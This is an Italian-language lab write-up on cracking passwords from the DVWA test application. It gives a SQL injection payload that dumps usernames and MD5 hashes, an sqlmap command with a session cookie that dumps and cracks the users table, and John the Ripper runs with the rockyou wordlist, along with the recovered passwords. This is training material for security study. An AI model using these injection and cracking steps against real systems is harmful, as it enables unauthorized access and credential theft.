

## PASSWORD CRACKING

### Task:

#### Ricavare password dai corrispondenti hash

---

Utilizzeremo gli hash con algoritmo di cifratura MD5 delle password ricavate da un precedente exploit (ossia una SQL Injection) alla web app di test DVWA:

### Vulnerability: SQL Injection

**User ID:**

ID: 1' UNION SELECT user, password FROM users#  
 First name: admin  
 Surname: admin

ID: 1' UNION SELECT user, password FROM users#  
 First name: admin  
 Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: 1' UNION SELECT user, password FROM users#  
 First name: gordonb  
 Surname: e99a18c428cb38d5f260853678922e03

ID: 1' UNION SELECT user, password FROM users#  
 First name: 1337  
 Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: 1' UNION SELECT user, password FROM users#  
 First name: pablo  
 Surname: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: 1' UNION SELECT user, password FROM users#  
 First name: smithy  
 Surname: 5f4dcc3b5aa765d61d8327deb882cf99

Per far ciò, ci avvarremo di alcuni tool.

## 1. SQLMAP

Eseguiamo il comando

```
sqlmap -u 'http://192.168.50.101/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit' -  
cookie='security=low; PHPSESSID=460c8f5e8f3e81ad484089a18c2c03fc' --dump --passwords
```

```
kali@kali: ~/Desktop
File Actions Edit View Help
what dictionary do you want to use?
[1] default dictionary file '/usr/share/sqlmap/data/txt/wordlist.tx_' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
>
[05:41:46] [INFO] using default dictionary
do you want to use common password suffixes? (slow!) [y/N] n
[05:41:54] [INFO] starting dictionary-based cracking (md5_generic_passwd)
[05:41:54] [INFO] starting 2 processes
[05:42:04] [INFO] cracked password 'abc123' for hash 'e99a18c428cb38d5f260853678922e03'
[05:42:10] [INFO] cracked password 'charley' for hash '8d3533d75ae2c3966d7e0d4fcc69216b'
[05:42:29] [INFO] cracked password 'password' for hash '5f4dcc3b5aa765d61d8327deb882cf99'
[05:42:37] [INFO] cracked password 'letmein' for hash '0d107d09f5bbe40cade3de5c71e9e9b7'
Database: dvwa
Table: users
[5 entries]
+-----+-----+-----+-----+-----+-----+
| user_id | user | avatar | password | last_name | first_name |
+-----+-----+-----+-----+-----+-----+
| 1 | admin | http://172.16.123.129/dvwa/hackable/users/admin.jpg | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | admin | admin |
| 2 | gordonb | http://172.16.123.129/dvwa/hackable/users/gordonb.jpg | e99a18c428cb38d5f260853678922e03 (abc123) | Brown | Gordon |
| 3 | 1337 | http://172.16.123.129/dvwa/hackable/users/1337.jpg | 8d3533d75ae2c3966d7e0d4fcc69216b (charley) | Me | Hack |
| 4 | pablo | http://172.16.123.129/dvwa/hackable/users/pablo.jpg | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein) | Picasso | Pablo |
| 5 | smithy | http://172.16.123.129/dvwa/hackable/users/smithy.jpg | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | Smith | Bob |
+-----+-----+-----+-----+-----+-----+
[05:42:58] [INFO] table 'dvwa.users' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.50.101/dump/dvwa/users.csv'
[05:42:58] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/192.168.50.101'
[*] ending @ 05:42:58 /2022-12-01/
```

## 2. John the Ripper

John the Ripper è un tool di password cracking che utilizza la metodologia brute force. Si avvale inoltre di wordlists a scelta dell'utente, utilizzate per attacchi a dizionario.

Per preparare l'attacco, uniamo in un file .txt i nomi utenti della web app appena exploitata insieme agli hash corrispondenti, nel seguente modo:

```
~/Desktop/hashe_pwd_DVWA.txt - Mousepad
File Edit Search View Document Help
1 admin:5f4dcc3b5aa765d61d8327deb882cf99
2 gordonb:e99a18c428cb38d5f260853678922e03
3 1337:8d3533d75ae2c3966d7e0d4fcc69216b
4 pablo:0d107d09f5bbe40cade3de5c71e9e9b7
5 smithy:5f4dcc3b5aa765d61d8327deb882cf99
```

Ora scegliamo una delle wordlists preinstallate in Kali. In questo caso userò **rockyou.txt**

```
> wordlists ~ Contains the rockyou wordlist
/usr/share/wordlists
├── amass → /usr/share/amass/wordlists
├── dirb → /usr/share/dirb/wordlists
├── dirbuster → /usr/share/dirbuster/wordlists
├── fasttrack.txt → /usr/share/set/src/fasttrack/wordlist.txt
├── fern-wifi → /usr/share/fern-wifi-cracker/extras/wordlists
├── john.lst → /usr/share/john/password.lst
├── legion → /usr/share/legion/wordlists
├── metasploit → /usr/share/metasploit-framework/data/wordlists
├── nmap.lst → /usr/share/nmap/nselib/data/passwords.lst
├── rockyou.txt
├── rockyou.txt.gz /Desktop
├── sqlmap.txt → /usr/share/sqlmap/data/txt/wordlist.txt
├── wfuzz → /usr/share/wfuzz/wordlist
├── wifite.txt → /usr/share/dict/wordlist-probable.txt
└── (kali@kali)-[/usr/share/wordlists]
$
```

Adesso costruiamo il comando da fornire a JtR. L'input sarà

**john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hashes\_pwd\_DVWA.txt**

```
(kali㉿kali)-[~/Desktop]
└─$ john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hashes_pwd_DVWA.txt
Using default input encoding: UTF-8
Loaded 4 password hashes with no different salts (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=2
Press 'q' or Ctrl-C to abort, almost any other key for status
password      (admin)
abc123         (gordonb)
letmein        (pablo)
charley        (1337)
4g 0:00:00:00 DONE (2022-12-01 07:20) 200.0g/s 153600p/s 153600c/s 230400C/s my3kids..dangerous
Warning: passwords printed above might not be all those cracked
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.
```

Come si può vedere, il tool ha ricavato le password in chiaro degli utenti specificati. Al termine dell'attacco, possiamo usare la funzione show per recuperare i risultati della sessione di cracking, nel seguente modo:

**john --show --format=raw-md5 hashes\_pwd\_DVWA.txt**

```
(kali㉿kali)-[~/Desktop]
└─$ john --show --format=raw-md5 hashes_pwd_DVWA.txt
admin:password
gordonb:abc123
1337:charley
pablo:letmein
smithy:password

5 password hashes cracked, 0 left stored
```